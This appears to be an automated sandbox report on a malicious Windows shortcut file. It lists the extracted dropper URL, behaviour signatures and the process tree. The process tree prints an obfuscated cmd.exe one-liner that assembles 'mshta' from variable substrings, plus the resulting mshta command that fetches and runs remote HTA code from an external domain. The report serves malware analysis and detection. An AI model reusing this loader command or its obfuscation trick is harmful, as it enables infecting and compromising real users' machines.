Analysis

  • max time kernel
    148s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 13:11

General

  • Target
    DOC-GS45RC.lnk
  • Size 2KB
  • Sample260803-qffl9azzbw
  • SHA256 ead15a4dd3cd6cf7054139259003be03338dc6ff41969074a6bc0df994efcd1e
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-GS45RC.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3380
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set Otezz=cachehqwydvudmcache&&set dwwS=logxchpgxfyymtmrsszelog&&set Uk=netmcgteanet&&set em=tmpacexrqrkouqnmzsstcttmp&&set FZ=cfgquqkmxouzxcfg&&set ap=2ibmu0&&set ULl=6f9sz&&set cw=7htaqy&&set cjSF=sysbgcxdlxoztzdcusys&&set PX=tmpjxfgayejmkktmp&&set qRkP=od7strw&&set BlKj=nu3arx30&&set re=mbti8d&&set EZj=tmptqhjbyinmvbrxdstmp&&set XKuiB=ht@tp@s://bo-pdf@f@il@[email protected]@/h@/e@sta@[email protected]@hp?@r@=3607@61F@15794&&start /b !ap:~3,1!!ULl:~3,1!!cw:~1,3! !XKuiB:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5116
      • C:\Windows\System32\mshta.exe
        mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
        3⤵
          PID:5952

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads